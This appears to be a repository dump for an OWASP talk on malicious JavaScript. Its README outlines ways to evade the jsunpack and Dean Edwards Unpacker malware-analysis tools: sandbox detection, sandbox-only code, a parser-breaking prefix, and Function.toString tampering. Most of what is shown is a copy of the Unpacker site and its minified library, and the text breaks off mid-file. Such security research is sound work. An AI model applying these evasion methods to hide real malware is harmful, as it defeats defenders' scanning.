├── Dr_JekyllMr_Hyde.jpg
├── README.md
├── demo.bash
├── demo2
    ├── _unpacker__pliki
    │   ├── base2-load.js
    │   ├── bindings.js
    │   ├── my.js
    │   ├── style.css
    │   └── unpacker.css
    ├── combined.js
    ├── evil.packed.js
    ├── unpacker.html
    ├── whitespace.js
    ├── whitespace.packed.js
    └── whitespace.php
├── dr-evil2.jpg
├── evil.html
├── index.php
├── jekyll1.html
├── jekyll2.html
├── js.js
├── makemelaugh
    ├── app.html
    ├── readme.txt
    ├── step1.js
    ├── step2.js
    ├── step2_2.js
    └── step3.js
├── real
    ├── hoster.js
    ├── illimitux.jar
    ├── illimitux.js
    ├── illimitux.zip
    ├── index.php
    └── start.php
└── tostring
    ├── index.php
    └── js.js


/Dr_JekyllMr_Hyde.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/Dr_JekyllMr_Hyde.jpg


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | Author: Krzysztof Kotowicz <kkotowicz at gmail dot com>  
 2 | License: MIT  
 3 | 
 4 | In this repository there are various materials for OWASP presentation on malicious JS
 5 | 
 6 | The slides are here:
 7 | <http://www.slideshare.net/kkotowicz/malicious-javascript/>
 8 | 
 9 | The files present attacks on [jsunpack](http://jsunpack.jeek.org/) and [Dean Edwards Unpacker](http://dean.edwards.name/unpacker)
10 | 
11 | jsunpack attacks
12 | ==========
13 | Sandbox detection
14 | ---------
15 | - copy files from the main directory to your document root
16 | - Modify js.js with your webserver path
17 | - add some sandbox detection tests (real_browser = ...) from the presentation to js.js
18 | - Use
19 |     jsunpack-n -a -u &lt;URL for index.php&gt;
20 |   to trigger the attack and see that it avoids detection
21 | 
22 | Dr Jekyll attack
23 | ---------------
24 | - check jekyll1.html and jekyll2.html files
25 |   The trick here is that jsunpack executes all &lt;script&gt; tags instead of only JavaScript
26 |   and we can avoid detection by running some code only while in jsunpack sandbox.
27 | 
28 | HTML hack
29 | --------
30 | - edit js.js file and add "//<>" at the beginning - this will skip parsing the file by jsunpack 
31 |   completely. The thing is - jsunpack parses all scripts as html first and this triggers some weird error
32 |   in the parser, modifying the resulting JavaScript.
33 |  
34 | Dean Edward's Unpacker
35 | =======
36 | Function.toString attack
37 | -------
38 | - whitespace.php is a demo file that shows how modyfing Function.toString() works in real code
39 | - copy of unpacker website is in unpacker.html file
40 | - whitespace.js is an obfuscated Function.toString() replacer
41 | - whitespace.packed.js is the same, but packed
42 | - evil.packed.js is the script we want to hide from unpacker by attaching whitespace.packed.js near the end of the file
43 | - paste combined.js contents (without the first line) into unpacker to see the attack in action.
44 | 


--------------------------------------------------------------------------------
/demo.bash:
--------------------------------------------------------------------------------
1 | cd ~/dev/jsunpack/jsunpack-n
2 | 
3 | ./jsunpackn.py -a -u http://localhost/~koto/malware/
4 | ./jsunpackn.py -a  /home/koto/www/malware/jekyll1.html
5 | ./jsunpackn.py -a  /home/koto/www/malware/jekyll2.html
6 | rm -rf ~/dev/jsunpack/jsunpack-n/files/*
7 | 
8 | 


--------------------------------------------------------------------------------
/demo2/_unpacker__pliki/base2-load.js:
--------------------------------------------------------------------------------
1 | if (typeof base2 == "undefined")
2 |  document.write('<script type="text/javascript" src="/packer/base2-jsb-fp.js"><\/script>');
3 | 


--------------------------------------------------------------------------------
/demo2/_unpacker__pliki/bindings.js:
--------------------------------------------------------------------------------
 1 | 
 2 | var ANON = /^function[^{]*\{\s*|\s*\}$/g;
 3 | 
 4 | new base2.JSB.RuleList({
 5 | 	"#form": {
 6 | 		"@!MSIE": {
 7 | 			ondocumentready: function() {
 8 | 				this.removeClass("disabled");
 9 | 				this.ready();
10 | 			}
11 | 		},
12 | 		
13 | 		ready: function() {
14 | 			message.write("ready");
15 | 			input.focus();
16 | 		}
17 | 	},
18 | 	"#input,#output": {
19 | 		disabled: false,
20 | 		spellcheck: false // for mozilla
21 | 	},
22 | 	"#unpack-script": {
23 | 		disabled: false,
24 | 		
25 | 		onclick: function() {
26 | 			try {
27 | 				output.value = "";
28 | 				if (input.value) {
29 | 					eval("var value=String" + input.value.slice(4));
30 | 					var head = base2.DOM.Document.querySelector(document, "head");
31 | 					var script = document.createElement("script");
32 | 					script.textContent = "var unpacked=function(){" + value + "}";
33 | 					head.appendChild(script);
34 | 					head.removeChild(script);
35 | 					output.value = String(unpacked).replace(ANON, "");
36 | 					form.ready();
37 | 				}
38 | 			} catch (error) {
39 | 				message.error("error unpacking script", error);
40 | 			}
41 | 		}
42 | 	},
43 | 	"#message": {
44 | 		error: function(text, error) {
45 | 			this.write(text + ": " + error.message, "error");
46 | 		},
47 | 		
48 | 		write: function(text, className) {
49 | 			this.innerHTML = text;
50 | 			this.className = className || "";
51 | 		} 
52 | 	}
53 | });
54 | 


--------------------------------------------------------------------------------
/demo2/_unpacker__pliki/my.js:
--------------------------------------------------------------------------------
1 | var base2={name:"base2",version:"1.0 (beta 1)",exports:"Base, Package, Abstract, Module, Enumerable, Map, Collection, RegGrp, "+"assert, assertArity, assertType, "+"assignID, copy, counter, detect, extend, forEach, format, instanceOf, match, rescape, slice, trim, "+"I, K, Undefined, Null, True, False, bind, delegate, flip, not, partial, unbind",global:this,namespace:"var global=base2.global;function base(o,a){return o.base.apply(o,a)};",detect:new function(_){var global=_;var jscript/*@cc_on=@_jscript_version@*/;if(_.navigator){var element=document.createElement("span");var userAgent=navigator.platform+" "+navigator.userAgent;if(!jscript)userAgent=userAgent.replace(/MSIE\s[\d.]+/,"");userAgent=userAgent.replace(/([a-z])[\s\/](\d)/gi,"$1$2");}return function(a){var r=false;var b=a.charAt(0)=="!";if(b)a=a.slice(1);if(a.charAt(0)=="("){try{eval("r=!!"+a)}catch(error){}}else{r=new RegExp("("+a+")","i").test(userAgent)}return!!(b^r)}}(this)};new function(_){var detect=base2.detect;var slice=Array.slice||(function(b){return function(a){return b.apply(a,b.call(arguments,1))}})(Array.prototype.slice);var Undefined=K(),Null=K(null),True=K(true),False=K(false);var _0=/%([1-9])/g;var _1=/^\s\s*/;var _2=/\s\s*$/;var _3=/([\/()[\]{}|*+-.,^$?\\])/g;var _4=/eval/.test(detect)?/\bbase\s*\(/:/.*/;var _5=["constructor","toString","valueOf"];var _6=String(new RegExp);var _7=1;_8();eval(base2.namespace);var _9=function(a,b){base2.__prototyping=true;var c=new this;extend(c,a);delete base2.__prototyping;var d=c.constructor;function _10(){if(!base2.__prototyping){if(this.constructor==arguments.callee||this.__constructing){this.__constructing=true;d.apply(this,arguments);delete this.__constructing}else{return extend(arguments[0],c)}}return this};c.constructor=_10;for(var i in Base)_10[i]=this[i];_10.toString=K(String(d));_10.ancestor=this;_10.base=Undefined;_10.init=Undefined;extend(_10,b);_10.prototype=c;_10.init();return _10};var Base=_9.call(Object,{constructor:function(){if(arguments.length>0){this.extend(arguments[0])}},base:function(){},extend:delegate(extend)},Base={ancestorOf:delegate(_11),extend:_9,forEach:delegate(_8),implement:function(a){if(typeof a=="function"){if(_11(Base,a)){a(this.prototype)}}else{extend(this.prototype,a)}return this}});var Package=Base.extend({constructor:function(d,e){this.extend(e);if(this.init)this.init();if(this.name!="base2"){if(!this.parent)this.parent=base2;this.parent.addName(this.name,this);this.namespace=format("var %1=%2;",this.name,String(this).slice(1,-1))}var f=/[^\s,]+/g;if(d){d.imports=Array2.reduce(this.imports.match(f),function(a,b){eval("var ns=base2."+b);assert(ns,format("Package not found: '%1'.",b));return a+=ns.namespace},base2.namespace+JavaScript.namespace);d.exports=Array2.reduce(this.exports.match(f),function(a,b){var c=this.name+"."+b;this.namespace+="var "+b+"="+c+";";return a+="if(!"+c+")"+c+"="+b+";"},"",this)}},exports:"",imports:"",name:"",namespace:"",parent:null,addName:function(a,b){if(!this[a]){this[a]=b;this.exports+=", "+a;this.namespace+=format("var %1=%2.%1;",a,this.name)}},addPackage:function(a){this.addName(a,new Package(null,{name:a,parent:this}))},toString:function(){return format("[%1]",this.parent?String(this.parent).slice(1,-1)+"."+this.name:this.name)}});var Abstract=Base.extend({constructor:function(){throw new TypeError("Class cannot be instantiated.");}});var Module=Abstract.extend(null,{extend:function(a,b){var c=this.base();_12(c,this);c.implement(a);extend(c,b);c.init();return c},implement:function(c){var d=this;if(typeof c=="function"){d.base(c);if(_11(Module,c)){_12(d,c)}}else{var e={};_8(Object,c,function(a,b){if(b.charAt(0)=="@"){if(detect(b.slice(1))){forEach(a,arguments.callee)}}else if(!Module[b]&&typeof a=="function"&&a.call){function _13(){return d[b].apply(d,[this].concat(slice(arguments)))};_13.__base=_4.test(a);e[b]=_13}});extend(d.prototype,e);extend(d,c)}return d}});function _12(a,b){for(var c in b){var method=b[c];if(!Module[c]&&typeof method=="function"&&method.call){a[c]=method}}};var Enumerable=Module.extend({every:function(c,d,e){var f=true;try{this.forEach(c,function(a,b){f=d.call(e,a,b,c);if(!f)throw StopIteration;})}catch(error){if(error!=StopIteration)throw error;}return!!f},filter:function(d,e,f){var i=0;return this.reduce(d,function(a,b,c){if(e.call(f,b,c,d)){a[i++]=b}return a},[])},invoke:function(b,c){var d=slice(arguments,2);return this.map(b,(typeof c=="function")?function(a){return(a==null)?undefined:c.apply(a,d)}:function(a){return(a==null)?undefined:a[c].apply(a,d)})},map:function(c,d,e){var f=[],i=0;this.forEach(c,function(a,b){f[i++]=d.call(e,a,b,c)});return f},pluck:function(b,c){return this.map(b,function(a){return(a==null)?undefined:a[c]})},reduce:function(c,d,e,f){var g=arguments.length>2;this.forEach(c,function(a,b){if(g){e=d.call(f,e,a,b,c)}else{e=a;g=true}});return e},some:function(a,b,c){return!this.every(a,not(b),c)}},{forEach:forEach});var _14="#";var Map=Base.extend({constructor:function(a){this.merge(a)},copy:delegate(copy),forEach:function(a,b){for(var c in this)if(c.charAt(0)==_14){a.call(b,this[c],c.slice(1),this)}},get:function(a){return this[_14+a]},getKeys:function(){return this.map(flip(I))},getValues:function(){return this.map(I)},has:function(a){/*@cc_on@*//*@if(@_jscript_version<5.5)return $Legacy.has(this,_14+a);@else@*/return _14+a in this;/*@end@*/},merge:function(b){var c=flip(this.put);forEach(arguments,function(a){forEach(a,c,this)},this);return this},remove:function(a){delete this[_14+a]},put:function(a,b){if(arguments.length==1)b=a;this[_14+a]=b},size:function(){var a=0;for(var b in this)if(b.charAt(0)==_14)a++;return a},union:function(a){return this.merge.apply(this.copy(),arguments)}});Map.implement(Enumerable);var _15="~";var Collection=Map.extend({constructor:function(a){this[_15]=new Array2;this.base(a)},add:function(a,b){assert(!this.has(a),"Duplicate key '"+a+"'.");this.put.apply(this,arguments)},copy:function(){var a=this.base();a[_15]=this[_15].copy();return a},forEach:function(a,b){var c=this[_15];var d=c.length;for(var i=0;i<d;i++){a.call(b,this[_14+c[i]],c[i],this)}},getAt:function(a){if(a<0)a+=this[_15].length;var b=this[_15][a];return(b===undefined)?undefined:this[_14+b]},getKeys:function(){return this[_15].concat()},indexOf:function(a){return this[_15].indexOf(String(a))},insertAt:function(a,b,c){assert(Math.abs(a)<this[_15].length,"Index out of bounds.");assert(!this.has(b),"Duplicate key '"+b+"'.");this[_15].insertAt(a,String(b));this.put.apply(this,slice(arguments,1))},item:Undefined,put:function(a,b){if(arguments.length==1)b=a;if(!this.has(a)){this[_15].push(String(a))}var c=this.constructor;if(c.Item&&!instanceOf(b,c.Item)){b=c.create.apply(c,arguments)}this[_14+a]=b},putAt:function(a,b){assert(Math.abs(a)<this[_15].length,"Index out of bounds.");arguments[0]=this[_15].item(a);this.put.apply(this,arguments)},remove:function(a){if(this.has(a)){this[_15].remove(String(a));delete this[_14+a]}},removeAt:function(a){this[_15].removeAt(a);delete this[_14+key]},reverse:function(){this[_15].reverse();return this},size:function(){return this[_15].length},sort:function(c){if(c){var d=this;this[_15].sort(function(a,b){return c(d[_14+a],d[_14+b],a,b)})}else this[_15].sort();return this},toString:function(){return String(this[_15])}},{Item:null,init:function(){this.prototype.item=this.prototype.getAt},create:function(a,b){return this.Item?new this.Item(a,b):b},extend:function(a,b){var c=this.base(a);c.create=this.create;extend(c,b);if(!c.Item){c.Item=this.Item}else if(typeof c.Item!="function"){c.Item=(this.Item||Base).extend(c.Item)}c.init();return c}});var _16=/\\(\d+)/g,_17=/\\./g,_18=/\(\?[:=!]|\[[^\]]+\]/g,_19=/\(/g,_20=/\$(\d+)/,_21=/^\$\d+$/;var RegGrp=Collection.extend({constructor:function(a,b){this.base(a);if(typeof b=="string"){this.global=/g/.test(b);this.ignoreCase=/i/.test(b)}},global:true,ignoreCase:false,exec:function(h,j){var k=(this.global?"g":"")+(this.ignoreCase?"i":"");h=String(h)+"";if(arguments.length==1){var l=this;var m=this[_15];j=function(a){if(a){var b,c=1,i=0;while((b=l[_14+m[i++]])){var d=c+b.length+1;if(arguments[c]){var e=b.replacement;switch(typeof e){case"function":var f=slice(arguments,c,d);var g=arguments[arguments.length-2];return e.apply(l,f.concat(g,h));case"number":return arguments[c+e];default:return e}}c=d}}return""}}return h.replace(new RegExp(this,k),j)},insertAt:function(a,b,c){if(instanceOf(b,RegExp)){arguments[1]=b.source}return base(this,arguments)},test:function(a){return this.exec(a)!=a},toString:function(){var e=0;return"("+this.map(function(c){var d=String(c).replace(_16,function(a,b){return"\\"+(1+Number(b)+e)});e+=c.length+1;return d}).join(")|(")+")"}},{IGNORE:"$0",init:function(){forEach("add,get,has,put,remove".split(","),function(b){_22(this,b,function(a){if(a&&a.source){arguments[0]=a.source}return base(this,arguments)})},this.prototype)},Item:{constructor:function(a,b){a=(a&&a.source)?a.source:String(a);if(typeof b=="number")b=String(b);else if(b==null)b="";if(typeof b=="string"&&_20.test(b)){if(_21.test(b)){b=parseInt(b.slice(1))}else{var Q=/'/.test(b.replace(/\\./g,""))?'"':"'";b=b.replace(/\n/g,"\\n").replace(/\r/g,"\\r").replace(/\$(\d+)/g,Q+"+(arguments[$1]||"+Q+Q+")+"+Q);b=new Function("return "+Q+b.replace(/(['"])\1\+(.*)\+\1\1$/,"$1")+Q)}}this.length=RegGrp.count(a);this.replacement=b;this.toString=K(a)},length:0,replacement:""},count:function(a){a=String(a).replace(_17,"").replace(_18,"");return match(a,_19).length}});var JavaScript={name:"JavaScript",version:base2.version,exports:"Array2, Date2, String2",namespace:"",bind:function(c){forEach(this.exports.match(/\w+/g),function(a){var b=a.slice(0,-1);extend(c[b],this[a]);this[a](c[b].prototype)},this)}};if((new Date).getYear()>1900){Date.prototype.getYear=function(){return this.getFullYear()-1900};Date.prototype.setYear=function(a){return this.setFullYear(a+1900)}}Function.prototype.prototype={};if("".replace(/^/,K("$$"))=="$"){extend(String.prototype,"replace",function(a,b){if(typeof b=="function"){var c=b;b=function(){return String(c.apply(null,arguments)).split("$").join("$$")}}return this.base(a,b)})}var Array2=_23(Array,Array,"concat,join,pop,push,reverse,shift,slice,sort,splice,unshift",[Enumerable,{combine:function(d,e){if(!e)e=d;return this.reduce(d,function(a,b,c){a[b]=e[c];return a},{})},contains:function(a,b){return this.indexOf(a,b)!=-1},copy:function(a){var b=this.slice(a);if(!b.swap)this(b);return b},flatten:function(c){return this.reduce(c,function(a,b){if(this.like(b)){this.reduce(b,arguments.callee,a,this)}else{a.push(b)}return a},[],this)},forEach:_24,indexOf:function(a,b,c){var d=a.length;if(c==null){c=0}else if(c<0){c=Math.max(0,d+c)}for(var i=c;i<d;i++){if(a[i]===b)return i}return-1},insertAt:function(a,b,c){this.splice(a,b,0,c);return c},item:function(a,b){if(b<0)b+=a.length;return a[b]},lastIndexOf:function(a,b,c){var d=a.length;if(c==null){c=d-1}else if(from<0){c=Math.max(0,d+c)}for(var i=c;i>=0;i--){if(a[i]===b)return i}return-1},map:function(c,d,e){var f=[];this.forEach(c,function(a,b){f[b]=d.call(e,a,b,c)});return f},remove:function(a,b){var c=this.indexOf(a,b);if(c!=-1)this.removeAt(a,c);return b},removeAt:function(a,b){return this.splice(a,b,1)},swap:function(a,b,c){var d=a[b];a[b]=a[c];a[c]=d;return a}}]);Array2.reduce=Enumerable.reduce;Array2.like=function(a){return!!(a&&typeof a=="object"&&typeof a.length=="number")};var _25=/^((-\d+|\d{4,})(-(\d{2})(-(\d{2}))?)?)?T((\d{2})(:(\d{2})(:(\d{2})(\.(\d{1,3})(\d)?\d*)?)?)?)?(([+-])(\d{2})(:(\d{2}))?|Z)?$/;var _26={FullYear:2,Month:4,Date:6,Hours:8,Minutes:10,Seconds:12,Milliseconds:14};var _27={Hectomicroseconds:15,UTC:16,Sign:17,Hours:18,Minutes:20};var _28=/(((00)?:0+)?:0+)?\.0+$/;var _29=/(T[0-9:.]+)$/;var Date2=_23(Date,function(a,b,c,h,m,s,d){switch(arguments.length){case 0:return new Date;case 1:return new Date(a);default:return new Date(a,b,arguments.length==2?1:c,h||0,m||0,s||0,d||0)}},"",[{toISOString:function(c){var d="####-##-##T##:##:##.###";for(var e in _26){d=d.replace(/#+/,function(a){var b=c["getUTC"+e]();if(e=="Month")b++;return("000"+b).slice(-a.length)})}return d.replace(_28,"").replace(_29,"$1Z")}}]);Date2.now=function(){return(new Date).valueOf()};Date2.parse=function(a,b){if(arguments.length>1){assertType(b,"number","defaultDate should be of type 'number'.")}var c=String(a).match(_25);if(c){if(c[_26.Month])c[_26.Month]--;if(c[_27.Hectomicroseconds]>=5)c[_26.Milliseconds]++;var d=new Date(b||0);var e=c[_27.UTC]||c[_27.Hours]?"UTC":"";for(var f in _26){var value=c[_26[f]];if(!value)continue;d["set"+e+f](value);if(d["get"+e+f]()!=c[_26[f]]){return NaN}}if(c[_27.Hours]){var g=Number(c[_27.Sign]+c[_27.Hours]);var h=Number(c[_27.Sign]+(c[_27.Minutes]||0));d.setUTCMinutes(d.getUTCMinutes()+(g*60)+h)}return d.valueOf()}else{return Date.parse(a)}};var String2=_23(String,function(a){return new String(arguments.length==0?"":a)},"charAt,charCodeAt,concat,indexOf,lastIndexOf,match,replace,search,slice,split,substr,substring,toLowerCase,toUpperCase",[{trim:trim}]);function _23(c,d,e,f){var g=Module.extend();forEach(e.match(/\w+/g),function(a){g[a]=unbind(c.prototype[a])});forEach(f,g.implement,g);var h=function(){return g(this.constructor==g?d.apply(null,arguments):arguments[0])};h.prototype=g.prototype;forEach(g,function(a,b){if(c[b]){g[b]=c[b];delete g.prototype[b]}h[b]=g[b]});h.ancestor=Object;delete h.extend;if(c!=Array)delete h.forEach;return h};function extend(a,b){if(a&&b){if(arguments.length>2){var c=b;b={};b[c]=arguments[2]}var d=(typeof b=="function"?Function:Object).prototype;var i=_5.length,c;if(base2.__prototyping){while(c=_5[--i]){var f=b[c];if(f!=d[c]){if(_4.test(f)){_22(a,c,f)}else{a[c]=f}}}}for(c in b){if(d[c]===undefined){var f=b[c];if(c.charAt(0)=="@"&&detect(c.slice(1))){arguments.callee(a,f);continue}var h=a[c];if(h&&typeof f=="function"){if(f!=h&&(!h.method||!_11(f,h))){if(f.__base||_4.test(f)){_22(a,c,f)}else{a[c]=f}}}else{a[c]=f}}}}return a};function _11(a,b){while(b){if(!b.ancestor)return false;b=b.ancestor;if(b==a)return true}return false};function _22(c,d,e){var f=c[d];function _30(){var a=this.base;this.base=f;var b=e.apply(this,arguments);this.base=a;return b};_30.ancestor=f;_30.method=e;_30.toString=function(){return String(e)};c[d]=_30};if(typeof StopIteration=="undefined"){StopIteration=new Error("StopIteration")}function forEach(a,b,c,d){if(a==null)return;if(!d){if(typeof a=="function"&&a.call){d=Function}else if(typeof a.forEach=="function"&&a.forEach!=arguments.callee){a.forEach(b,c);return}else if(typeof a.length=="number"){_24(a,b,c);return}}_8(d||Object,a,b,c)};function _24(a,b,c){if(a==null)return;var d=a.length,i;if(typeof a=="string"){for(i=0;i<d;i++){b.call(c,a.charAt(i),i,a)}}else{for(i=0;i<d;i++){/*@cc_on@*//*@if(@_jscript_version<5.2)if(a[i]!==undefined||$Legacy.has(a,i))@else@*/if(i in a)/*@end@*/b.call(c,a[i],i,a)}}};function _8(g,h,j,k){var l=function(){this.i=1};l.prototype={i:1};var m=0;for(var i in new l)m++;_8=(m>1)?function(a,b,c,d){var e={};for(var f in b){if(!e[f]&&a.prototype[f]===undefined){e[f]=true;c.call(d,b[f],f,b)}}}:function(a,b,c,d){for(var e in b){if(a.prototype[e]===undefined){c.call(d,b[e],e,b)}}};_8(g,h,j,k)};function instanceOf(a,b){if(typeof b!="function"){throw new TypeError("Invalid 'instanceOf' operand.");}if(a==null)return false;/*@cc_on@*//*@if(@_jscript_version<5.1)if($Legacy.instanceOf(a,b))return true;@else@*/if(a instanceof b)return true;/*@end@*/if(Base.ancestorOf==b.ancestorOf)return false;var c=a.constructor;if(typeof c!="function")return false;if(Base.ancestorOf==c.ancestorOf)return b==Object;switch(b){case Array:return!!(typeof a=="object"&&a.join&&a.splice);case Function:return!!(typeof a=="function"&&a.call);case RegExp:return c.prototype.toString()==_6;case Date:return!!a.getTimezoneOffset;case String:case Number:case Boolean:return typeof a==typeof b.prototype.valueOf();case Object:return true}return false};function assert(a,b,c){if(!a){throw new(c||Error)(b||"Assertion failed.");}};function assertArity(a,b,c){if(b==null)b=a.callee.length;if(a.length<b){throw new SyntaxError(c||"Not enough arguments.");}};function assertType(a,b,c){if(b&&(typeof b=="function"?!instanceOf(a,b):typeof a!=b)){throw new TypeError(c||"Invalid type.");}};function assignID(a){if(!a.base2ID)a.base2ID="b2_"+counter();return a.base2ID};function counter(){return _7++};function copy(a){var b=function(){};b.prototype=a;return new b};function format(c){var d=arguments;var e=new RegExp("%([1-"+arguments.length+"])","g");return String(c).replace(e,function(a,b){return b<d.length?d[b]:a})};function match(a,b){return String(a).match(b)||[]};function rescape(a){return String(a).replace(_3,"\\$1")};function trim(a){return String(a).replace(_1,"").replace(_2,"")};function I(i){return i};function K(k){return function(){return k}};function bind(a,b){var c=slice(arguments,2);var d=function(){return a.apply(b,c.concat(slice(arguments)))};d._31=assignID(a);return d};function delegate(a,b){return function(){return a.apply(b,[this].concat(slice(arguments)))}};function flip(a){return function(){return a.apply(this,Array2.swap(arguments,0,1))}};function not(a){return function(){return!a.apply(this,arguments)}};function partial(a){var b=slice.call(arguments,1);return function(){return a.apply(this,b.concat(slice(arguments)))}};function unbind(b){return function(a){return b.apply(a,slice(arguments,1))}};base2=new Package(this,base2);eval(this.exports);base2.extend=extend;forEach(Enumerable,function(a,b){if(!Module[b])base2.addName(b,bind(a,Enumerable))});JavaScript=new Package(this,JavaScript);eval(this.exports)};new function(_){var DOM=new base2.Package(this,{name:"DOM",version:"1.0 (beta 1)",exports:"Interface, Binding, Node, Document, Element, AbstractView, Event, EventTarget, DocumentEvent, "+"NodeSelector, DocumentSelector, ElementSelector, StaticNodeList, "+"ViewCSS, HTMLDocument, HTMLElement, Selector, Traversal, XPathParser",bind:function(a){if(a&&a.nodeType){var b=assignID(a);if(!arguments.callee[b]){switch(a.nodeType){case 1:if(typeof a.className=="string"){(HTMLElement.bindings[a.tagName]||HTMLElement).bind(a)}else{Element.bind(a)}break;case 9:if(a.writeln){HTMLDocument.bind(a)}else{Document.bind(a)}break;default:Node.bind(a)}arguments.callee[b]=true}}return a},"@MSIE5.+win":{bind:function(a){if(a&&a.writeln){a.nodeType=9}return this.base(a)}}});eval(this.imports);var _32=detect("MSIE");var _33=detect("MSIE5");if(detect("MSIE[56].+win")&&!detect("SV1")){var closures={};extend(base2,"bind",function(b,c){if(!c||c.nodeType!=1){return this.base(b,c)}var d=c.uniqueID;var e=assignID(b);closures[e]=b;b=null;c=null;if(!closures[d])closures[d]={};var f=closures[d][e];if(f)return f;var g=function(){var a=document.all[d];return a?closures[e].apply(a,arguments):undefined};g._31=e;closures[d][e]=g;return g});attachEvent("onunload",function(){closures=null})}var Interface=Module.extend(null,{implement:function(c){if(typeof c=="object"){forEach(c,function(a,b){if(b.charAt(0)=="@"){forEach(a,arguments.callee,this)}else if(!this[b]&&typeof a=="function"){this.createDelegate(b,a.length)}},this)}return this.base(c)},createDelegate:function(a,b){if(!this[a]){var c="var fn=function _%1(%2){%3.base=%3.%1.ancestor;var m=%3.base?'base':'%1';return %3[m](%4)}";var d="abcdefghij".split("").slice(-b);eval(format(c,a,d,d[0],d.slice(1)));this[a]=fn}}});var Binding=Interface.extend(null,{bind:function(c){forEach(this.prototype,function(a,b){if(typeof c[b]=="undefined"){c[b]=a}else{try{extend(c,b,a)}catch(error){}}});return c}});var Node=Binding.extend({"@!(element.compareDocumentPosition)":{compareDocumentPosition:function(a,b){if(Traversal.contains(a,b)){return 4|16}else if(Traversal.contains(b,a)){return 2|8}var c=_34(a);var d=_34(b);if(c<d){return 4}else if(c>d){return 2}return 0}}});var _34=document.documentElement.sourceIndex?function(a){return a.sourceIndex}:function(a){var b=0;while(a){b=Traversal.getNodeIndex(a)+"."+b;a=a.parentNode}return b};var Document=Node.extend(null,{bind:function(b){extend(b,"createElement",function(a){return DOM.bind(this.base(a))});AbstractView.bind(b.defaultView);if(b!=window.document)new DOMContentLoadedEvent(b);return this.base(b)},"@!(document.defaultView)":{bind:function(a){a.defaultView=Traversal.getDefaultView(a);return this.base(a)}}});var _35=/^(href|src|type|value)$/;var _36={"class":"className","for":"htmlFor"};var Element=Node.extend({"@MSIE.+win":{getAttribute:function(a,b,c){if(a.className===undefined){return this.base(a,b)}var d=_37(a,b);if(d&&d.specified){if(_35.test(b)){return this.base(a,b,2)}else if(b=="style"){return a.style.cssText}else{return d.nodeValue}}return null},setAttribute:function(a,b,c){if(a.className===undefined){this.base(a,b,c)}else if(b=="style"){a.style.cssText=c}else{this.base(a,_36[b]||b,String(c))}}},"@!(element.hasAttribute)":{hasAttribute:function(a,b){return this.getAttribute(a,b)!=null}}});extend(Element.prototype,"cloneNode",function(a){var b=this.base(a||false);b.base2ID=undefined;return b});if(_32){var names="colSpan,rowSpan,vAlign,dateTime,accessKey,tabIndex,encType,maxLength,readOnly,longDesc";extend(_36,Array2.combine(names.toLowerCase().split(","),names.split(",")));var _37=_33?function(a,b){return a.attributes[b]||a.attributes[_36[b.toLowerCase()]]}:function(a,b){return a.getAttributeNode(b)}}var TEXT=_32?"innerText":"textContent";var Traversal=Module.extend({getDefaultView:function(a){return this.getDocument(a).defaultView},getNextElementSibling:function(a){while(a&&(a=a.nextSibling)&&!this.isElement(a))continue;return a},getNodeIndex:function(a){var b=0;while(a&&(a=a.previousSibling))b++;return b},getOwnerDocument:function(a){return a.ownerDocument},getPreviousElementSibling:function(a){while(a&&(a=a.previousSibling)&&!this.isElement(a))continue;return a},getTextContent:function(a){return a[TEXT]},isEmpty:function(a){a=a.firstChild;while(a){if(a.nodeType==3||this.isElement(a))return false;a=a.nextSibling}return true},setTextContent:function(a,b){return a[TEXT]=b},"@MSIE":{getDefaultView:function(a){return this.getDocument(a).parentWindow},"@MSIE5":{getOwnerDocument:function(a){return a.ownerDocument||a.document}}}},{contains:function(a,b){while(b&&(b=b.parentNode)&&a!=b)continue;return!!b},getDocument:function(a){return this.isDocument(a)?a:this.getOwnerDocument(a)},isDocument:function(a){return!!(a&&a.documentElement)},isElement:function(a){return!!(a&&a.nodeType==1)},"@(element.contains)":{contains:function(a,b){return a!=b&&(this.isDocument(a)?a==this.getOwnerDocument(b):a.contains(b))}},"@MSIE5":{isElement:function(a){return!!(a&&a.nodeType==1&&a.tagName!="!")}}});var AbstractView=Binding.extend();var Event=Binding.extend({"@!(document.createEvent)":{initEvent:function(a,b,c,d){a.type=b;a.bubbles=c;a.cancelable=d;a.timeStamp=new Date().valueOf()},"@MSIE":{initEvent:function(a,b,c,d){this.base(a,b,c,d);a.cancelBubble=!a.bubbles},preventDefault:function(a){if(a.cancelable!==false){a.returnValue=false}},stopPropagation:function(a){a.cancelBubble=true}}}},{"@!(document.createEvent)":{"@MSIE":{"@Mac":{bind:function(a){return this.base(extend(copy(a),{preventDefault:function(){if(this.cancelable!==false){this.returnValue=false}}}))}},"@Windows":{bind:function(a){if(!a.timeStamp){a.bubbles=!!_38[a.type];a.cancelable=!!_39[a.type];a.timeStamp=new Date().valueOf()}if(!a.target){a.target=a.srcElement}a.relatedTarget=a[(a.type=="mouseout"?"to":"from")+"Element"];return this.base(a)}}}}});if(_32){var _38="abort,error,select,change,resize,scroll";var _39="click,mousedown,mouseup,mouseover,mousemove,mouseout,keydown,keyup,submit,reset";_38=Array2.combine((_38+","+_39).split(","));_39=Array2.combine(_39.split(","))}var EventTarget=Interface.extend({"@!(element.addEventListener)":{addEventListener:function(a,b,c,d){var e=assignID(a);var f=c._31||assignID(c);var g=_40[e];if(!g)g=_40[e]={};var h=g[b];var i=a["on"+b];if(!h){h=g[b]={};if(i)h[0]=i}h[f]=c;if(i!==undefined){a["on"+b]=delegate(_40.handleEvent)}},dispatchEvent:function(a,b){return _40.handleEvent(a,b)},removeEventListener:function(a,b,c,d){var e=_40[a.base2ID];if(e&&e[b]){delete e[b][c.base2ID]}},"@MSIE.+win":{addEventListener:function(a,b,c,d){if(typeof c=="function"){c=bind(c,a)}this.base(a,b,c,d)},dispatchEvent:function(a,b){b.target=a;try{return a.fireEvent(b.type,b)}catch(error){return this.base(a,b)}}}}});var _40=new Base({handleEvent:function(a,b){var c=true;var d=_40[a.base2ID];if(d){b=Event.bind(b);var e=d[b.type];for(var i in e){var listener=e[i];if(listener.handleEvent){var result=listener.handleEvent(b)}else{result=listener.call(a,b)}if(result===false||b.returnValue===false)c=false}}return c},"@MSIE":{handleEvent:function(a,b){if(a.Infinity){a=a.document.parentWindow;if(!b)b=a.event}return this.base(a,b||Traversal.getDefaultView(a).event)}}});var DocumentEvent=Interface.extend({"@!(document.createEvent)":{createEvent:function(a,b){return Event.bind({})},"@(document.createEventObject)":{createEvent:function(a,b){return 